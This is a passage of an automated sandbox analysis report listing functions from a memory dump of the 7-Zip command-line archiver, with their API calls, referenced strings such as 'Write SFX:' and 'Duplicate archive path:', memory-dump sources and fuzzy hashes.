                                                                                                                                                                                                                                                                    • FindFirstStreamW.KERNELBASE(?,00000000,?,00000000), ref: 00C55B23
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ErrorFindLast$FirstStream$CloseH_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1050961465-0
                                                                                                                                                                                                                                                                    • Opcode ID: db40fa7cf9f1866db6150a0ef4e51c24e1928336b716e2c0c19e43692c1300d9
                                                                                                                                                                                                                                                                    • Instruction ID: 5f1dbf0f9b6bb103be13ad19b4ef19da69e31c3e462c81ad94a666465d2ef9fe
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: db40fa7cf9f1866db6150a0ef4e51c24e1928336b716e2c0c19e43692c1300d9
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2D21C538800505DFCB24AF60D89EABE7B79FB81322F100259EC6157191DB314ECEEB64
                                                                                                                                                                                                                                                                    Function 00C68425 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 208COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C6842A
                                                                                                                                                                                                                                                                      • Part of subcall function 00C66FFB: __EH_prolog.LIBCMT ref: 00C67000
                                                                                                                                                                                                                                                                      • Part of subcall function 00C672EC: __EH_prolog.LIBCMT ref: 00C672F1
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C8DE50), ref: 00C68524
                                                                                                                                                                                                                                                                      • Part of subcall function 00C68660: __EH_prolog.LIBCMT ref: 00C68665
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    • Duplicate archive path:, xrefs: 00C68648
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$ExceptionThrow
                                                                                                                                                                                                                                                                    • String ID: Duplicate archive path:
                                                                                                                                                                                                                                                                    • API String ID: 2366012087-4000988232
                                                                                                                                                                                                                                                                    • Opcode ID: 0fb937ed33ae276791ebb580ae1ec9760d5762ad3a48ddb9ebb08c6c492f8852
                                                                                                                                                                                                                                                                    • Instruction ID: d39a09fc20b6fb946ce8399faf6903bfd51c6470a3b7289e1add7cbdd342df52
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0fb937ed33ae276791ebb580ae1ec9760d5762ad3a48ddb9ebb08c6c492f8852
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 62815835D00259DFCB25EFA4C981ADDB7B4AF18310F1041AAE81677291DF30AF49EB65
                                                                                                                                                                                                                                                                    Function 00C81973 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 191COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C81A2E
                                                                                                                                                                                                                                                                      • Part of subcall function 00C81554: fputs.MSVCRT ref: 00C815BD
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C81BAF
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C5B: fflush.MSVCRT ref: 00C51C5D
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C81AE1
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C6A: fputc.MSVCRT ref: 00C51C71
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C7D: __EH_prolog.LIBCMT ref: 00C51C82
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C7D: fputs.MSVCRT ref: 00C51CF5
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$H_prologfflushfputc
                                                                                                                                                                                                                                                                    • String ID: ERRORS:$WARNINGS:
                                                                                                                                                                                                                                                                    • API String ID: 1876658717-3472301450
                                                                                                                                                                                                                                                                    • Opcode ID: 13d0da2c37d451289335f442ba1592a78e1e48822fa89f1beb08a193c8a900b4
                                                                                                                                                                                                                                                                    • Instruction ID: 70208ed3422e898ec06fb12ad9bac6a4c9af7fe9332a1b79628a012f72cdcb51
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 13d0da2c37d451289335f442ba1592a78e1e48822fa89f1beb08a193c8a900b4
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 37718F346007019BDB28FF65C495BA977EAAF40305F18842DEC6A47261DB31BE86EB19
                                                                                                                                                                                                                                                                    Function 00C73B40 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 145COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C73B45
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5FA6E: __EH_prolog.LIBCMT ref: 00C5FA73
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID: : $...$Junction: $REPARSE:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-1476144188
                                                                                                                                                                                                                                                                    • Opcode ID: 2d58941ef22fe9d50478525876ee6df0afba9f6016a661a1ce1fe92ef9e2070d
                                                                                                                                                                                                                                                                    • Instruction ID: 33b8650fd29389570f780464df527aac8f8791e276cc9800751f0ac771c9e446
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2d58941ef22fe9d50478525876ee6df0afba9f6016a661a1ce1fe92ef9e2070d
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DC410675A00158DBCF01EB54C892AFDBBB5EF95301F048116FC0AAB282CB30AB89F755
                                                                                                                                                                                                                                                                    Function 00C63287 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 140COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C6328C
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prologfree
                                                                                                                                                                                                                                                                    • String ID: act:$ cpus:$ gran:$ page:
                                                                                                                                                                                                                                                                    • API String ID: 1978129608-454015223
                                                                                                                                                                                                                                                                    • Opcode ID: 082bbdc650a9f66450b58b3811c59d618169568084c014b06279e3e95edf3ee2
                                                                                                                                                                                                                                                                    • Instruction ID: 6aedc4ce7187a03e541a2b9bac45f323aa88ca784c35f06a2a08d14082fb1ef7
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 082bbdc650a9f66450b58b3811c59d618169568084c014b06279e3e95edf3ee2
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5C410375700340ABCB35BF648C92A7E66A2AF81709F004A3CB453976D2DF749E89E718
                                                                                                                                                                                                                                                                    Function 00C7B872 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 118stringCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: strlen$fputs
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1552308726-399585960
                                                                                                                                                                                                                                                                    • Opcode ID: bf445681c3d704deecc5e740ac502f4865d4e37663e2702e75253fab0fcf14ee
                                                                                                                                                                                                                                                                    • Instruction ID: 2cb5149dd2c12dd1d83f62a82702ac34fc1c0782c3d761ce102de5c235ac53c6
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: bf445681c3d704deecc5e740ac502f4865d4e37663e2702e75253fab0fcf14ee
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9941C4319002199BDF28EFA4C492BED77F5AF44301F14846DE66AA7191DF30AF89DB80
                                                                                                                                                                                                                                                                    Function 00C54E93 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 88libraryloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C54E98
                                                                                                                                                                                                                                                                    • GetModuleHandleW.KERNEL32(kernel32.dll,CreateHardLinkW), ref: 00C54EB2
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 00C54EB9
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AddressH_prologHandleModuleProc
                                                                                                                                                                                                                                                                    • String ID: CreateHardLinkW$kernel32.dll
                                                                                                                                                                                                                                                                    • API String ID: 786088110-294928789
                                                                                                                                                                                                                                                                    • Opcode ID: 47a899d8cce1b66e90a999b94b0f14d8432480179e43b1e844cd80e363e11bb4
                                                                                                                                                                                                                                                                    • Instruction ID: 4361a51fbddf799fa46e35b18925190b5dbac592ea485e09f7acc8d440dd40f2
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 47a899d8cce1b66e90a999b94b0f14d8432480179e43b1e844cd80e363e11bb4
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B321C33AD10115ABCF19EBE8DD46BEEB775AF0431AF140125EC11B2190DB315EC8EB68
                                                                                                                                                                                                                                                                    Function 00C80693 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 51COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C80698
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C806C1
                                                                                                                                                                                                                                                                      • Part of subcall function 00C54AD4: __EH_prolog.LIBCMT ref: 00C54AD9
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C7D: __EH_prolog.LIBCMT ref: 00C51C82
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C7D: fputs.MSVCRT ref: 00C51CF5
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C6A: fputc.MSVCRT ref: 00C51C71
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C80705
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prologfputs$fputcfree
                                                                                                                                                                                                                                                                    • String ID: : $----------------
                                                                                                                                                                                                                                                                    • API String ID: 1941438168-4071417161
                                                                                                                                                                                                                                                                    • Opcode ID: 19dbb52296669dae8d1a72f1fcb0822d03a9b8cb1591ad662c7182c1c156e0df
                                                                                                                                                                                                                                                                    • Instruction ID: 92fbae913d8ff3d5e02f251daed6f42a5da7584d96bf27c9a390e7bddbf20b59
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 19dbb52296669dae8d1a72f1fcb0822d03a9b8cb1591ad662c7182c1c156e0df
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DF01F935700100DFCB14BFA8E88AA5DBBB2FF84715F24417DF812972A1DF31A948AB08
                                                                                                                                                                                                                                                                    Function 00C820E4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C820E9
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C8210C
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C7D: __EH_prolog.LIBCMT ref: 00C51C82
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C7D: fputs.MSVCRT ref: 00C51CF5
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C82148
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C6A: fputc.MSVCRT ref: 00C51C71
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$H_prolog$fputcfree
                                                                                                                                                                                                                                                                    • String ID: : $Write SFX:
                                                                                                                                                                                                                                                                    • API String ID: 2632947726-2530961540
                                                                                                                                                                                                                                                                    • Opcode ID: 4a044dfe111869818538d7dd05cd93dee1765a67a60ff6f18855574fdcbeba87
                                                                                                                                                                                                                                                                    • Instruction ID: af6bd80d42489fa6f2af1c0c799711995a644c3a45b2f9a8998c204feaa1058c
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4a044dfe111869818538d7dd05cd93dee1765a67a60ff6f18855574fdcbeba87
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2D018436504204AFCF05BFA4DC06BADB7B5EF44710F14402EF905A21A0DF716959EB58
                                                                                                                                                                                                                                                                    Function 00C63226 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36libraryloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetSystemInfo.KERNEL32(?), ref: 00C63248
                                                                                                                                                                                                                                                                      • Part of subcall function 00C63287: __EH_prolog.LIBCMT ref: 00C6328C
                                                                                                                                                                                                                                                                    • GetModuleHandleA.KERNEL32(kernel32.dll,GetNativeSystemInfo), ref: 00C63262
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 00C63269
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AddressH_prologHandleInfoModuleProcSystem
                                                                                                                                                                                                                                                                    • String ID: GetNativeSystemInfo$kernel32.dll
                                                                                                                                                                                                                                                                    • API String ID: 2024292667-192647395
                                                                                                                                                                                                                                                                    • Opcode ID: e32dcefefedf9ef8fa2dd57764e0ba8ea15e7ef448328ad0553ee74cbdf8f5e1
                                                                                                                                                                                                                                                                    • Instruction ID: 88cc12086d052d778fbe280e6599fc105fb2add4ccc0c3573681ae4d88b17a49
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e32dcefefedf9ef8fa2dd57764e0ba8ea15e7ef448328ad0553ee74cbdf8f5e1
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A2F0F0726002449BCB11EBA4CC98B9EB7E8AF84712F044658E801D3192DFB4AE0DCBA0
                                                                                                                                                                                                                                                                    Function 00C8031C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 32COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C92530), ref: 00C80367
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C6A: fputc.MSVCRT ref: 00C51C71
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C80346
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C8034B
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$ExceptionThrowfputc
                                                                                                                                                                                                                                                                    • String ID: @F:v$ERROR:
                                                                                                                                                                                                                                                                    • API String ID: 2339886702-1395738044
                                                                                                                                                                                                                                                                    • Opcode ID: 8e8572cd6d8244acb1a62285c585494cdcae252770c95e5afeea5d48e16a1e5f
                                                                                                                                                                                                                                                                    • Instruction ID: c1c29207792e6e8d98312b070037de42fc30f126f33bcd9f38c40b3ed10fe82d
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8e8572cd6d8244acb1a62285c585494cdcae252770c95e5afeea5d48e16a1e5f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F5F0A776A01218FBCB00BB9C9D45D5EB3ACEF44B11725001AE940A3311CA716E015BD5
                                                                                                                                                                                                                                                                    Function 00C78945 Relevance: 7.8, APIs: 5, Instructions: 348COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: b1b8dd5db3f3a79765056a8c9af0758c36e78df61f0efc3c79edf6f5fb531e90
                                                                                                                                                                                                                                                                    • Instruction ID: 3c6d87f852a11b53b113ec1d3d493ecde046f807ba9a3f8987dd6b60ffc10dd3
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b1b8dd5db3f3a79765056a8c9af0758c36e78df61f0efc3c79edf6f5fb531e90
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DBE1B175900645DFDB22CF64C888BAEBBF4BF19310F14845AED599B291DB30EE48DB60
                                                                                                                                                                                                                                                                    Function 00C53ED4 Relevance: 7.7, APIs: 5, Instructions: 226COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: wcscmp$ExceptionH_prologThrow
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2750596395-0
